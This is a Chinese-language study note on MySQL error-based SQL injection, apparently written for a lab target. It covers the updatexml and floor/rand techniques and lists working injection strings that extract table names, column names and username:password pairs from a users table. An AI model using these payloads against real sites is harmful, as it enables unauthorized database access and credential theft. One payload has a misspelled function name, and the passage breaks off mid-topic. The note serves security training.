2.updatexml报错注入
(1)判断字符型/数字型
如果是字符型再判断闭合方式(备注:结尾加--+看是否闭合,若页面正常执行则闭合完成)
?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
concat() 合并字符
优先执行彩色部分命令
?id=1" and 1=updatexml(1,concat('~',(select database())),3)--+
?id=1") and 1=updataxml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3)
?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3) --+
?id=1")and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),1,30) from users)),3)--+
显示1~30字符
?id=1")and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),30,30) from users)),3)--+
#显示30~50字符,第30 个字符为
(2)靶机用户名密码存放位置的表名和列名
数据库information_schema中的数据表tables下数据列table_name和数据表columns下数据列column_name
(3)函数
database()数据库库名
group_concat() 把查询到的结果合并到一行显示
concat() 合并字符
substring(),00,30 从00个字符开始显示30个字符
3.floor报错注入
(1)涉及到的函数
rand()函数,随机返回0~1间的小数
floor()函数,小数向下取整数。 向上取整数ceiling()
concat_ws()函数,将括号内数据用第一个字段连接起来
group by 分组
as 别名
count(),汇总统计数量
limit,这里用于显示指定行数
rand()函数
>select rand();计算结果在0~1之间
>select rand()*2; 计算结果在0~2之间
>select rand() from users; 根据users的行数随机显示结果
floor()函数
>select floor(rand()*2); 结果随机为0或1
concat_ws函数,将括号内数据用第一个字段连接起来
>select concat_ws('-',(select database()),floor(rand()*2);